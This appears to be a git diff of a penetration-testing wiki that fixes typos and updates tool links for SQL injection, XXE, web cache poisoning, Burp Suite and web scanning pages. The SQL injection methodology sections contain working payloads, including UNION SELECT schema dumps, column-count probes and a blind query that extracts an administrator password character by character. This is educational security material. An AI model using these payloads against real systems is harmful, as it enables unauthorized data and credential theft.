[https://github.com/sqlmapproject/sqlmap/wiki/Usage](https://github.com/sqlmapproject/sqlmap/wiki/Usage) -* __[https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) +* [https://www.binarytides.com/sqlmap-hacking-tutorial/](https://www.binarytides.com/sqlmap-hacking-tutorial/) * [https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423](https://forum.bugcrowd.com/t/sqlmap-tamper-scripts-sql-injection-and-waf-bypass/423) -* [https://tryhackme.com/room/sqlmap](https://tryhackme.com/room/sqlmap) +* [TryHackMe sqlmap](https://tryhackme.com/room/sqlmap) - Training resource; canonical training links are maintained in Training. * _RTFM: SQLMap - pg. 71_ * _Operator Handbook: SQLMap - pg. 284_ {% endtab %} @@ -147,13 +146,13 @@ Test if sql inject is valid (will return banner on success) * [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL) - A PowerShell Toolkit for Attacking SQL Server * [https://github.com/NetSPI/PowerUpSQL/wiki](https://github.com/NetSPI/PowerUpSQL/wiki) * [https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet](https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet) -* [**SQLninja**](http://sqlninja.sourceforge.net/)**** +* [SQLninja](http://sqlninja.sourceforge.net/) - Older SQL Server exploitation tool; verify current usefulness before relying on it. * [https://www.jedge.com/wordpress/sqlninja-sql-injection/](https://www.jedge.com/wordpress/sqlninja-sql-injection/) * Great for evading IDS and uploading shells * Often times IDS will either recognize SQLmap OR SQLninja but not both * With SQLninja you must specify the vulnerable variable to inject. * Takes more to set up with manipulation of the config file. -* ****[**NOSQLmap**](https://github.com/codingo/NoSQLMap)**** +* [NOSQLmap](https://github.com/codingo/NoSQLMap) * Used for NOSQL databases * [https://github.com/torque59/Nosql-Exploitation-Framework](https://github.com/torque59/Nosql-Exploitation-Framework) * [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli) diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md index 1c1a719..d980d05 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/manual-injection-methodology.md @@ -6,11 +6,11 @@ SQL injection can be detected manually by using a systematic set of tests agains * Submitting the single quote character `'` and looking for errors or other anomalies. * Submitting some SQL-specific syntax that evaluates to the base (original) value of the entry point, and to a different value, and looking for systematic differences in the resulting application responses. -* Submitting Boolean conditions such as `OR 1=1` and `OR 1=2, and` looking for differences in the application's responses. +* Submitting Boolean conditions such as `OR 1=1` and `OR 1=2`, then looking for differences in the application's responses. * Submitting payloads designed to trigger time delays when executed within an SQL query, and looking for differences in the time taken to respond. * Submitting OAST payloads designed to trigger an out-of-band network interaction when executed within an SQL query, and monitoring for any resulting interactions. -### **Determine DB Verison** +### **Determine DB Version** * Different databases provide different ways of querying their version. You often need to try out different queries to find one that works, allowing you to determine both the type and version of the database software * MySQL - SELECT @@version @@ -37,7 +37,7 @@ SQL injection can be detected manually by using a systematic set of tests agains * SELECT \* FROM all\_tables * And you can list columns by querying all\_tab\_columns: * SELECT \* FROM all\_tab\_columns WHERE table\_name = 'USERS' -* We can also get it using a UNION SELECT query (Exmaple for a 5 column table) +* We can also get it using a UNION SELECT query. Example for a five-column table: * `input' UNION SELECT 1,2,group_concat(table_name),4,5 FROM information_schema.tables WHERE table_schema=database()#` * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-non-oracle) * [https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle](https://portswigger.net/web-security/sql-injection/examining-the-database/lab-listing-database-contents-oracle) @@ -56,8 +56,7 @@ SQL injection can be detected manually by using a systematic set of tests agains * The \* from the above SELECT query can be replaced with whichever piece of information you like from the information\_schema.tables table, such as TABLE\_SCHEMA, TABLE\_NAME, TABLE\_TYPE. * Once information regarding the tables in the database has been discovered, it becomes possible to query the tables for their columns. This can be achieved using the following syntax: * SELECT \* FROM information\_schema.columns WHERE table\_name='Table' -* We can do this with t -* Or we can also get it using a UNION SELECT query: +* You can also retrieve column names using a UNION SELECT query: * \ `input' UNION SELECT 1,group_concat(column_name, 0x0a),3,4,5 FROM information_schema.columns WHERE table_name="customers"#` diff --git a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md index df276ce..ad9fb3d 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md +++ b/web-app-hacking/attacks-and-vulnerabilities/sql-injection/sql-methodology.md @@ -2,7 +2,7 @@ ## **Types of SQL Databases** -* Mysql +* MySQL * MSSQL * PostgreSQL - v9.5 and earlier * [https://www.pcwdld.com/sql-cheat-sheet](https://www.pcwdld.com/sql-cheat-sheet) @@ -13,8 +13,8 @@ * Unstructured Data, grows horizontally * Vulnerabilities generally exist where a string is parsed or evaluated into a NoSQL call. * Vulnerability injections occur when: - * Endpoints accepts JSON data in the request to NoSQL databaseS - * We are able to maniPulate the query using NoSQL comparison operators to change the NoSQL query + * Endpoints accept JSON data in the request to NoSQL databases. + * You can manipulate the query using NoSQL comparison operators to change the NoSQL query. * [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb.html) * [https://www.owasp.org/index.php/Testing\_for\_NoSQL\_injection](https://www.owasp.org/index.php/Testing\_for\_NoSQL\_injection) * SQL Platform Commands @@ -34,16 +34,16 @@ ## Classic Error-based SQLi -This type is SQLi uses error-messages returned from the database as the method to gather information about the backend itself. For more information, see the Basics section above +This type of SQLi uses database error messages to gather information about the backend. ## **UNION SQL Injection** -The SQL `UNION` operator is used to combine the result set of two or more `SELECT` statements, appending the results on the end of the original query. **** An attacker can leverage the SQL vulnerability and find information from other database tables using the `UNION` keyword. +The SQL `UNION` operator is used to combine the result set of two or more `SELECT` statements, appending the results on the end of the original query. An attacker can leverage the SQL vulnerability and find information from other database tables using the `UNION` keyword. ### **UNION Operators** * The UNION operator, is a method that allows a query to retrieve data from other tables within the database -* The UNION operator allows you to execute one or more additional SELECT queties and append the results to the original query +* The UNION operator allows you to execute one or more additional SELECT queries and append the results to the original query. * In order to work, UNION queries have two key requirements * The individual queries must return the same number of columns. * The data types in each column must be compatible between the individual queries. @@ -60,7 +60,7 @@ The SQL `UNION` operator is used to combine the result set of two or more `SELEC * This series of payloads modifies the original query to order the results by different columns in the result set. The column in an ORDER BY clause can be specified by its index, so you don't need to know the names of any columns. When the specified column index exceeds the number of actual columns in the result set, the database returns an error * The application might actually return the database error in its HTTP response, or it might return a generic error, or simply return no results. Provided you can detect some difference in the application's response, you can infer how many columns are being returned from the query. * Method 2 - Submitting a series of UNION SELECT payloads specifying a different number of null values: - * Start by using expanding null satements to find the number of columns + * Start by expanding `NULL` statements to find the number of columns. * ' UNION SELECT NULL-- * ' UNION SELECT NULL,NULL-- * ' UNION SELECT NULL,NULL,NULL-- @@ -142,7 +142,7 @@ Blind SQL comes in to types: * xyz' UNION SELECT 'a' WHERE 1=2-- * Example: * xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 'm'-- - * If this returns with the positive conditional statement, the first character of the password is create than ‘m’ + * If this returns the positive conditional statement, the first character of the password is greater than `m`. * xyz' UNION SELECT 'a' FROM Users WHERE Username = 'Administrator' and SUBSTRING(Password, 1, 1) > 't'-- * If this does not return with the positive conditional statement, the first character is less than ‘t’ * Repeat until the entire password is discovered @@ -173,7 +173,7 @@ Blind SQL comes in to types: -### **Blind SQL Inejction with OAST techniques** +### **Blind SQL Injection with OAST techniques** * OAST - Out-of-band Application Security Testing * When will standard SQL injection not work? diff --git a/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md b/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md index ef42f1f..fba9f59 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md +++ b/web-app-hacking/attacks-and-vulnerabilities/web-cache-poisoning.md @@ -4,7 +4,7 @@ ### **Basics** -* **** Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users. +* Web cache poisoning is an advanced technique whereby an attacker exploits the behavior of a web server and cache so that a harmful HTTP response is served to other users. * The cache sits between the server and the user, where it saves (caches) the responses to particular requests, usually for a fixed amount of time. If another user then sends an equivalent request, the cache simply serves a copy of the cached response directly to the user, without any interaction from the back-end. * Cache Keys - Caches identify equivalent requests by comparing a predefined subset of the request's components, known collectively as the "cache key". Typically, this would contain the request line and `Host` header. Components of the request that are not included in the cache key are said to be "unkeyed". * If the cache key of an incoming request matches the key of a previous request, then the cache considers them to be equivalent. As a result, it will serve a copy of the cached response that was generated for the original request. This applies to all subsequent requests with the matching cache key, until the cached response expires. @@ -17,7 +17,7 @@ * [https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md](https://github.com/daffainfo/AllAboutBugBounty/blob/master/Web%20Cache%20Poisoning.md) * [https://youst.in/posts/cache-poisoning-at-scale/](https://youst.in/posts/cache-poisoning-at-scale/) -## **Constructing a web poisoning attack** +## **Constructing a web cache poisoning attack** ### Identify and evaluate unkeyed inputs diff --git a/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md b/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md index 9cefe3d..1f92518 100644 --- a/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md +++ b/web-app-hacking/attacks-and-vulnerabilities/xxe-xml-external-entity-attacks.md @@ -3,7 +3,7 @@ {% tabs %} {% tab title="Tools and Resources" %} * [PayloadsAllTheThings/XXEInjection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE%20Injection#classic-xxe) -* [XEE Payload collection](https://gist.github.com/staaldraad/01415b990939494879b4) +* [XXE Payload collection](https://gist.github.com/staaldraad/01415b990939494879b4) * [XXEinjector](https://github.com/enjoiz/XXEinjector) - XXEinjector automates retrieving files using direct and out of band methods. Directory listing only works in Java applications. * [xxe-recursive-download](https://github.com/AonCyberLabs/xxe-recursive-download) - This tool exploits XXE to retrieve files from a target server. It obtains directory listings and recursively downloads file contents. * [https://xapax.github.io/security/#attacking\_web\_applications/xml\_external\_entity\_attack/](https://xapax.github.io/security/#attacking\_web\_applications/xml\_external\_entity\_attack/) diff --git a/web-app-hacking/burp-suite.md b/web-app-hacking/burp-suite.md index c76c587..748c336 100644 --- a/web-app-hacking/burp-suite.md +++ b/web-app-hacking/burp-suite.md @@ -1,8 +1,8 @@ # Burp Suite -## [**Burp**](https://portswigger.net/burp) **** +## [Burp](https://portswigger.net/burp) -The Leading Web application testing tool on the market. Has a community edition that is free and handy for basic web app testing and CTF level functionality. Also has a pro version that has advanced features like a powerful brute forcing too, vulnerability scanner and access to more extensions. +The leading web application testing tool on the market. Burp has a free Community edition for basic web app testing and CTF workflows, and a Professional edition with a stronger Intruder, active scanner, Collaborator support, and access to more extensions. {% tabs %} {% tab title="Guides and Support Tools" %} @@ -50,7 +50,7 @@ The Leading Web application testing tool on the market. Has a community edition * [https://portswigger.net/burp/documentation/desktop/options](https://portswigger.net/burp/documentation/desktop/options) * [https://www.hackingarticles.in/burp-suite-for-pentester-burps-project-management/](https://www.hackingarticles.in/burp-suite-for-pentester-burps-project-management/) * [https://www.youtube.com/watch?v=CdcJcdp-ObQ](https://www.youtube.com/watch?v=CdcJcdp-ObQ) -* Collaborater - Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities. +* Collaborator - Burp Collaborator is a network service that Burp Suite uses to help discover many kinds of vulnerabilities. * [https://portswigger.net/burp/documentation/collaborator](https://portswigger.net/burp/documentation/collaborator) * [https://www.hackingarticles.in/burp-suite-for-pentester-burp-collaborator/](https://www.hackingarticles.in/burp-suite-for-pentester-burp-collaborator/) {% endtab %} @@ -74,7 +74,7 @@ The Leading Web application testing tool on the market. Has a community edition {% tab title="Multi-Vuln Scanners" %} * [HUNT](https://github.com/bugcrowd/HUNT) - HUNT Suite is a collection of Burp Suite Pro/Free and OWASP ZAP extensions, collected by Bug Crowd. * [BurpBounty](https://github.com/wagiro/BurpBounty) - This Burp Suite extension allows you, in a quick and simple way, to improve the active and passive Burp Suite scanner by means of personalized rules through a very intuitive graphical interface. - * [Burp Bounty Pro](https://burpbounty.net/) - Premium bundle of vulnerabilites to scan for. + * [Burp Bounty Pro](https://burpbounty.net/) - Premium bundle of vulnerability profiles to scan for. * [VulnersScan](https://github.com/vulnersCom/burp-vulners-scanner) - Burp Suite scanner plugin based on [Vulners.com](https://vulners.com) vulnerability database API * Same thing as [https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb](https://portswigger.net/bappstore/c9fb79369b56407792a7104e3c4352fb) * [Active Scan++](https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976) - Burp Scanner automates the task of scanning web sites for content and vulnerabilities. Depending on configuration, the Scanner can [crawl the application](https://portswigger.net/burp/documentation/scanner/crawling) to discover its content and functionality, and [audit the application](https://portswigger.net/burp/documentation/scanner/auditing) to discover vulnerabilities. Active Scan++ is an extension that expands the scanning capabilities of Burp Suite. @@ -87,15 +87,15 @@ The Leading Web application testing tool on the market. Has a community edition * [Retire.JS](https://github.com/h3xstream/burp-retire-js) - Burp/ZAP/Maven extension that integrate Retire.js repository to find vulnerable Javascript libraries. * [sqlipy](https://github.com/codewatchorg/sqlipy) - SQLiPy is a Python plugin for Burp Suite that integrates SQLMap using the SQLMap API. * [Backslash powered scanner](https://portswigger.net/bappstore/9cff8c55432a45808432e26dbb2b41d8) - Active scan for SSTI detection -* [CSFR Scanner](https://portswigger.net/bappstore/60f172f27a9b49a1b538ed414f9f27c3) - Passive CSRF detection +* [CSRF Scanner](https://portswigger.net/bappstore/60f172f27a9b49a1b538ed414f9f27c3) - Passive CSRF detection. * [Freddy ](https://portswigger.net/bappstore/ae1cce0c6d6c47528b4af35faebc3ab3)- Find Deserialization Bugs * [JSON Web Tokens](https://portswigger.net/bappstore/f923cbf91698420890354c1d8958fee6) - decode and manipulate JSON web tokens * [Web cache deception scanner ](https://portswigger.net/bappstore/7c1ca94a61474d9e897d307c858d52f0)- Tests applications for the Web Cache Deception vulnerability. * [HTTP Request Smuggler](https://portswigger.net/bappstore/aaaa60ef945341e8a450217a54a11646) - Active scanner and launcher for HTTP Request Smuggling attacks * [Upload Scanner](https://portswigger.net/bappstore/b2244cbb6953442cb3c82fa0a0d908fa) - Tests various upload vulnerabilities -* [SSRF-KIng](https://github.com/ethicalhackingplayground/ssrf-king?s=09) - SSRF plugin for burp Automates SSRF Detection in all of the Request +* [SSRF-King](https://github.com/ethicalhackingplayground/ssrf-king?s=09) - Burp plugin that automates SSRF detection across requests. * [shelling](https://github.com/ewilded/shelling) - a comprehensive OS command injection payload generator -* [Autorise](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) - Tool for detecting autorization vulerabilities such as Indirect Object Reference. +* [Autorize](https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f) - Tool for detecting authorization vulnerabilities such as IDOR. * [Java Deserialization Scanner](https://portswigger.net/bappstore/228336544ebe4e68824b5146dbbd93ae) - Active and passive scanner to find Java deserialization vulnerabilities {% endtab %} diff --git a/web-app-hacking/scanning-utilities.md b/web-app-hacking/scanning-utilities.md index 3e5982d..b9d18dd 100644 --- a/web-app-hacking/scanning-utilities.md +++ b/web-app-hacking/scanning-utilities.md @@ -8,7 +8,7 @@ description: >- ## **Visual scanning with Screenshots** -The content on your target pages can provide a wealth of information as well as screenshots of those pages are part of good documentation. There are some tools that can help with that. +Target pages can provide a wealth of information, and screenshots are useful evidence for reports. These tools help collect screenshots and web metadata at scale.
@@ -27,13 +27,13 @@ The content on your target pages can provide a wealth of information as well as Web-Based Utilities -* These are not only very detailed and helpful tools, but they allow you to gather tons of intel on your target in a passive recon phase, as to not interaction with the target or its infrastructure at all. +* These tools can support passive web fingerprinting without directly interacting with the target infrastructure beyond the service you are querying. * [Netcraft](https://www.netcraft.com/) - Offers a slew of tools including a handy browser extension for on demand scanning of websites for reputation and technical data. * [Wappalyzer](https://www.wappalyzer.com/) - Scanning tool that can determine the web technologies that are used on the target web page. -* [Builtwith](https://builtwith.com/) - Similar as above. +* [BuiltWith](https://builtwith.com/) - Similar technology fingerprinting and company/web stack lookup. * [Visual Site Mapper ](http://visualsitemapper.com/)- Handy tool for conceptualizing a target website in a different way. * [Mozilla Observatory](https://observatory.mozilla.org/) - Fantastic resource that will scan for HTTP, SSL, and TLS settings and return with an overall grade based on a scored checklist. Can be run to include a few other popular third party scanning utilities for even easier recon. - * [Qualys SSLlabs test ](https://www.ssllabs.com/ssltest/)- Scan and score SLL/TLS settings + * [Qualys SSL Labs test](https://www.ssllabs.com/ssltest/) - Scan and score SSL/TLS settings. * [Security Headers](https://securityheaders.com/) - Analyze the data found in HTTP responses to a domain * Immuniweb tools [SSL](https://www.immuniweb.com/ssl/) and [WebSec](https://www.immuniweb.com/websec/) test @@ -45,7 +45,7 @@ The content on your target pages can provide a wealth of information as well as * [What Web](https://github.com/urbanadventurer/whatweb) - WhatWeb recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1800 plugins, each to recognize something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more. * [wafw00f](https://github.com/EnableSecurity/wafw00f) - WAFW00F allows one to identify and fingerprint Web Application Firewall (WAF) products protecting a website. -* [Blind Elephant](http://blindelephant.sourceforge.net/) - The BlindElephant Web Application Fingerprinter attempts to discover the version of a (known) web application by comparing static files at known locations against precomputed hashes for versions of those files in all all available releases. The technique is fast, low-bandwidth, non-invasive, generic, and highly automatable. +* [Blind Elephant](http://blindelephant.sourceforge.net/) - Legacy web application fingerprinter. Kept for historical context; verify current usefulness before relying on it. * [Virtual Host Scanner](https://github.com/codingo/VHostScan) - A virtual host scanner that can be used with pivot tools, detect catch-all scenarios, aliases and dynamic default pages. * [https://whatcms.org/](https://whatcms.org/) - Web based tool to determine what CMS a site is using. * [httprint](https://www.kali.org/tools/httprint/) - httprint is a web server fingerprinting tool. It relies on web server characteristics to accurately identify web servers, despite the fact that they may have been obfuscated by changing the server banner strings, or by plug-ins such as mod\_security or servermaskd @@ -58,8 +58,6 @@ The content on your target pages can provide a wealth of information as well as Web App Vuln Scanning Tools -...burp..... - * [Nikto](https://github.com/sullo/nikto) - Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers. * [https://cirt.net/Nikto2](https://cirt.net/Nikto2) * Nikto web server scan @@ -67,14 +65,14 @@ The content on your target pages can provide a wealth of information as well as ``` nikto -h 10.10.10.10 ``` -* [Arachni](https://www.arachni-scanner.com/) - Arachni is a feature-full, modular, high-performance Ruby framework aimed towards helping penetration testers and administrators evaluate the security of modern web applications. +* [Arachni](https://www.arachni-scanner.com/) - Retired Ruby web application scanner. Kept as a legacy reference; prefer maintained tools such as OWASP ZAP, Nuclei, Wapiti, or commercial DAST platforms for current work. * [Arachni Web UI](https://github.com/Arachni/arachni-ui-web/wiki) * [W3AF](https://github.com/andresriancho/w3af) - w3af: web application attack and audit framework, the open source web vulnerability scanner. * [Wapiti](https://wapiti.sourceforge.io/) - Wapiti allows you to audit the security of your websites or web applications. It performs "black-box" scans (it does not study the source code) of the web application by crawling the webpages of the deployed webapp, looking for scripts and forms where it can inject data. -* [Vega Scanner](https://subgraph.com/vega/) - Vega is a free and open source web security scanner and web security testing platform to test the security of web applications. Vega can help you find and validate SQL Injection, Cross-Site Scripting (XSS), inadvertently disclosed sensitive information, and other vulnerabilities. -* [WAVE](https://github.com/adithyan-ak/WAVE) - Web Application Vulnerability Exploiter (WAVE) is basically a vulnerability scanner which scans for Secuirity Vulnerabilities in web applications. +* [Vega Scanner](https://subgraph.com/vega/) - Legacy Subgraph web scanner. Project activity appears limited; verify maintenance before use. +* [WAVE](https://github.com/adithyan-ak/WAVE) - Web Application Vulnerability Exploiter scanner. * [https://snyk.io/website-scanner/](https://snyk.io/website-scanner/) - Get a full website security check for known vulnerabilities and HTTP security headers
@@ -83,10 +81,10 @@ The content on your target pages can provide a wealth of information as well as
-SLL Scanning Tools +SSL/TLS Scanning Tools * [sslscan](https://www.kali.org/tools/sslscan/) - SSLScan queries SSL services, such as HTTPS, in order to determine the ciphers that are supported. SSLScan is designed to be easy, lean and fast. The output includes preferred ciphers of the SSL service, the certificate and is in text and XML formats. - * [tlssled](https://www.kali.org/tools/tlssled/) - TLSSLed is a Linux shell script whose purpose is to evaluate the security of a target SSL/TLS (HTTPS) web server implementation. Basec on sslscan. +* [tlssled](https://www.kali.org/tools/tlssled/) - TLSSLed evaluates SSL/TLS configuration and is based on sslscan. * [sslyze](https://www.kali.org/tools/sslyze/) - SSLyze is a Python tool that can analyze the SSL configuration of a server by connecting to it. It is designed to be fast and comprehensive, and should help organizations and testers identify misconfigurations affecting their SSL servers. * [testssl.sh](https://www.kali.org/tools/testssl.sh/) - testssl.sh is a free command line tool which checks a server’s service on any port for the support of TLS/SSL ciphers, protocols as well as recent cryptographic flaws and more. * [o-saft](https://www.kali.org/tools/o-saft/) - O-Saft is an easy to use tool to show information about SSL certificates and tests the SSL connection according to a given list of ciphers and various SSL configurations. @@ -115,7 +113,7 @@ The content on your target pages can provide a wealth of information as well as {% tab title="Joomla" %} * [JCS](https://github.com/TheM4hd1/JCS) - JCS (Joomla Component Scanner) made for penetration testing purpose on Joomla CMS -* [Joomscan](https://wiki.owasp.org/index.php/Category:OWASP\_Joomla\_Vulnerability\_Scanner\_Project) - OWASP Joomla! Vulnerability Scanner (JoomScan) is an open source project, developed with the aim of automating the task of vulnerability detection and reliability assurance in Joomla CMS deployments. +* [Joomscan](https://github.com/OWASP/joomscan) - Joomla vulnerability scanner. Older OWASP wiki pages are archived; prefer the GitHub project when available. {% endtab %} {% endtabs %} @@ -130,7 +128,7 @@ The content on your target pages can provide a wealth of information as well as * [Arjun](https://github.com/s0md3v/Arjun) - Arjun can find query parameters for URL endpoints. * [Sh1Yo/x8](https://github.com/Sh1Yo/x8) - Hidden parameters discovery suite * [Burp Suite Extension: Param Miner](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) - This extension identifies hidden, unlinked parameters. It's particularly useful for finding web cache poisoning vulnerabilities. -* [ffuf](https://www.kali.org/tools/ffuf/) - ffuf is a fest web fuzzer written in Go that allows typical directory discovery, virtual host discovery (without DNS records) and GET and POST parameter fuzzing. +* [ffuf](https://www.kali.org/tools/ffuf/) - Fast web fuzzer written in Go for directory discovery, virtual host discovery, and GET/POST parameter fuzzing.
@@ -140,6 +138,12 @@ The content on your target pages can provide a wealth of information as well as Misc Tools +* [Photon](https://github.com/s0md3v/Photon) - Fast crawler designed for OSINT-style web endpoint discovery. +* [URLgrab](https://github.com/IAmStoxe/urlgrab) - Go utility for spidering a website and collecting links. +* [hakrawler](https://github.com/hakluke/hakrawler) - Simple web crawler for endpoint discovery. +* [gospider](https://www.kali.org/tools/gospider/) - Fast web spider written in Go. +* [filebuster](https://github.com/henshin/filebuster) - HTTP fuzzer and content discovery tool. +* [feroxbuster](https://www.kali.org/tools/feroxbuster/) - Forced browsing and content discovery tool. * [BFAC](https://github.com/mazen160/bfac) - BFAC (Backup File Artifacts Checker): An automated tool that checks for backup artifacts that may disclose the web-application's source code. * [csprecon](https://github.com/edoardottt/csprecon) - Discover new target domains using Content Security Policy * [RetireJS](https://retirejs.github.io/retire.js/) - Scanner to detect javascript libraries and known vulnerabilities within them. @@ -148,13 +152,20 @@ The content on your target pages can provide a wealth of information as well as * [AAP](https://github.com/PushpenderIndia/aapfinder) - AAP Finder (Advanced Admin Page Finder) is a tool written in Python3 with advanced functionalities, with more than 700+ Potential Admin Panels. This Tool Can Easily Find Login Pages of Any Site & is also capable to detect _robots.txt_ File. * [Admin-Scanner](https://github.com/alienwhatever/Admin-Scanner) - This tool is design to find admin panel of any website by using custom wordlist or default wordlist easily and allow you to find admin panel trough a proxy server. * [Breacher](https://github.com/s0md3v/Breacher) - An advanced multithreaded admin panel finder written in python. -* [JS-Scan](https://github.com/zseano/JS-Scan) - aA.js scanner, built in php. designed to scrape urls and other info -* [SecretFinder](https://github.com/m4ll0k/SecretFinder) - A python script for find sensitive data (apikeys, accesstoken,jwt,..) and search anything on javascript files. -* [certgraph](https://www.kali.org/tools/certgraph/) - This package contains a tool to crawl the graph of certificate Alternate Names. CertGraph crawls SSL certificates creating a directed graph where each domain is a node and the certificate alternative names for that domain’s certificate are the edges to other domain nodes. -* [changeme](https://www.kali.org/tools/changeme/) - This package contains a default credential scanner. changeme supports the http/https, MSSQL, MySQL, Postgres, ssh and ssh w/key protocols.O-Saft is an easy to use tool to show information about SSL certificates and tests the SSL connection according to a given list of ciphers and various SSL configurations. -* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com/) - CSP Evaluator allows developers and security experts to check if a Content Security Policy (CSP) serves as a strong mitigation against [cross-site scripting attacks](https://www.google.com/about/appsecurity/learning/xss/)[https://github.com/rly0nheart/oxdork](https://github.com/rly0nheart/oxdork) -* [oxdork](https://github.com/rly0nheart/oxdork) - oxDork uses Google dorking techniques and Google dorks to find security holes and misconfigurations in web servers. +* [JS-Scan](https://github.com/zseano/JS-Scan) - JavaScript scanner built in PHP for scraping URLs and other information. +* [SecretFinder](https://github.com/m4ll0k/SecretFinder) - Python script for finding sensitive data such as API keys, access tokens, JWTs, and other strings in JavaScript files. +* [certgraph](https://www.kali.org/tools/certgraph/) - Crawls certificate Subject Alternative Names and builds a domain graph. Passive certificate discovery also belongs in Cyber Intelligence. +* [changeme](https://www.kali.org/tools/changeme/) - Default credential scanner supporting HTTP/S, MSSQL, MySQL, Postgres, SSH, and SSH keys. +* [CSP Evaluator](https://csp-evaluator.withgoogle.com/) - Checks whether a Content Security Policy is a strong mitigation against XSS. +* [oxdork](https://github.com/rly0nheart/oxdork) - Google dorking helper. Google dorking methodology is maintained in Cyber Intelligence. * [subjs](https://github.com/lc/subjs) - Fetches javascript file from a list of URLS or subdomains. +* [RequestBin](https://requestbin.com/) - Collect and inspect HTTP requests and webhooks. +* [Race the Web](https://github.com/TheHackerDev/race-the-web) - Tests for race conditions in web applications. +* [DVCS-Ripper](https://github.com/kost/dvcs-ripper) - Finds and downloads web-accessible SVN, Git, Mercurial, and Bazaar repositories. +* [interactsh](https://github.com/projectdiscovery/interactsh) - Out-of-band interaction server and client for vulnerability validation. + * [interactsh web client](https://app.interactsh.com/) +* [GoodFaith](https://github.com/brevityinmotion/goodfaith) - Helps keep bug bounty recon automation within authorized scope. +* [Stripe Test Cards](https://stripe.com/docs/testing#cards) - Test card numbers for payment workflow testing. * [Interlace](https://github.com/codingo/Interlace) - Easily turn single threaded command line applications into a fast, multi-threaded application with CIDR and glob support. * [https://hakluke.medium.com/interlace-a-productivity-tool-for-pentesters-and-bug-hunters-automate-and-multithread-your-d18c81371d3d](https://hakluke.medium.com/interlace-a-productivity-tool-for-pentesters-and-bug-hunters-automate-and-multithread-your-d18c81371d3d) diff --git a/web-app-hacking/web-app-testing-frameworks.md b/web-app-hacking/web-app-testing-frameworks.md index 1aac26d..79495ca 100644 --- a/web-app-hacking/web-app-testing-frameworks.md +++ b/web-app-hacking/web-app-testing-frameworks.md @@ -1,26 +1,26 @@ # Web App Testing Frameworks -### Web App Testing Frameworks +These are proxies, scanners, DAST tools, and web-focused assessment frameworks. General attack-surface discovery tools such as subdomain enumerators and port scanners are maintained in Red Recon; credential-stuffing automation belongs in password attacks or should be omitted unless there is a clear authorized-testing use case. {% embed url="https://pentestbook.six2dez.com/others/recon-suites-review" %} -* [https://projectdiscovery.io/#/](https://projectdiscovery.io/#/) - Collection of open source tools for attack surface management or Bug Bounties. +* [ProjectDiscovery](https://projectdiscovery.io/#/) - Collection of open source tools for attack surface management and bug bounty workflows. * [nuclei](https://github.com/projectdiscovery/nuclei) - Fast and customizable vulnerability scanner based on simple YAML based DSL. * [https://github.com/projectdiscovery/nuclei-templates](https://github.com/projectdiscovery/nuclei-templates) * [https://github.com/geeknik/the-nuclei-templates](https://github.com/geeknik/the-nuclei-templates) * [https://github.com/projectdiscovery/nuclei-docs](https://github.com/projectdiscovery/nuclei-docs) * [https://cheatsheet.haax.fr/web-pentest/tools/nuclei/](https://cheatsheet.haax.fr/web-pentest/tools/nuclei/) - * [subfinder](https://github.com/projectdiscovery/subfinder) - Subfinder is a subdomain discovery tool that discovers valid subdomains for websites. Designed as a passive framework to be useful for bug bounties and safe for penetration testing. - * [naabu](https://github.com/projectdiscovery/naabu) - A fast port scanner written in go with a focus on reliability and simplicity. Designed to be used in combination with other tools for attack surface discovery in bug bounties and pentests + * [subfinder](https://github.com/projectdiscovery/subfinder) - Subdomain discovery tool; canonical active/passive recon references live in Red Recon. + * [naabu](https://github.com/projectdiscovery/naabu) - Fast port scanner; canonical port scanning references live in Red Recon. * [httpx](https://github.com/projectdiscovery/httpx) - httpx is a fast and multi-purpose HTTP toolkit allows to run multiple probers using retryablehttp library, it is designed to maintain the result reliability with increased threads. * 